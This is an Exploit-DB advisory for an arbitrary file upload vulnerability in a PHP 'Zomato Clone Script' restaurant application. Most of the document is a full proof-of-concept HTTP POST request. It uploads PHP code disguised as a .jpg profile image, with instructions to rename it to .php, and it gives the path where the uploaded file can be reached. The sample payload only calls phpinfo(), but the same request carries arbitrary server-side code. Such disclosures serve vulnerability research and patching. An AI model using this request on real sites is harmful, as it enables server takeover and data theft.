Exploit-DB #43667
Description: Zomato Clone Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-01-17
Author: Tauco

Exploit:
# # # # # 
# Zomato Clone  - Arbitrary File Upload
# Date: 16.01.2018
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/099S4111872/php-scripts/zomato-clone-script
# Demo: http://jhinstitute.com/demo/foodpanda/
# Version: N/A
# Category: Webapps
# Tested on: Windows 10
# Exploit Author: Tauco

Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files. Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.

Proof of concept:
===================================================================================
POST /demo/foodpanda/myacount.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="fname"

test
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="lname"

test
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="email"

test@test.com
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="phone"

123
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="image"; filename="info.php.jpg" (change extension to .php)
Content-Type: image/jpeg

<?php
phpinfo();
?>
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="addr1"

test
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="addr2"

test
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="post"


----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="country"

1
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="state"

3945
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="city"

16315
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="location"

test
----------------------------[PII_REDACTED]4
Content-Disposition: form-data; name="update"

Upload
----------------------------[PII_REDACTED]4--


===================================================================================

Open file location : /demo/foodpanda/photo/mid/[...php]


Description:
==========================================================
 
 
Request Method(s):              [+]  POST & GET
 
 
Vulnerable Product:             [+]  Zomato Clone Script
 
 
Vulnerable Parameter(s):        [+]  filename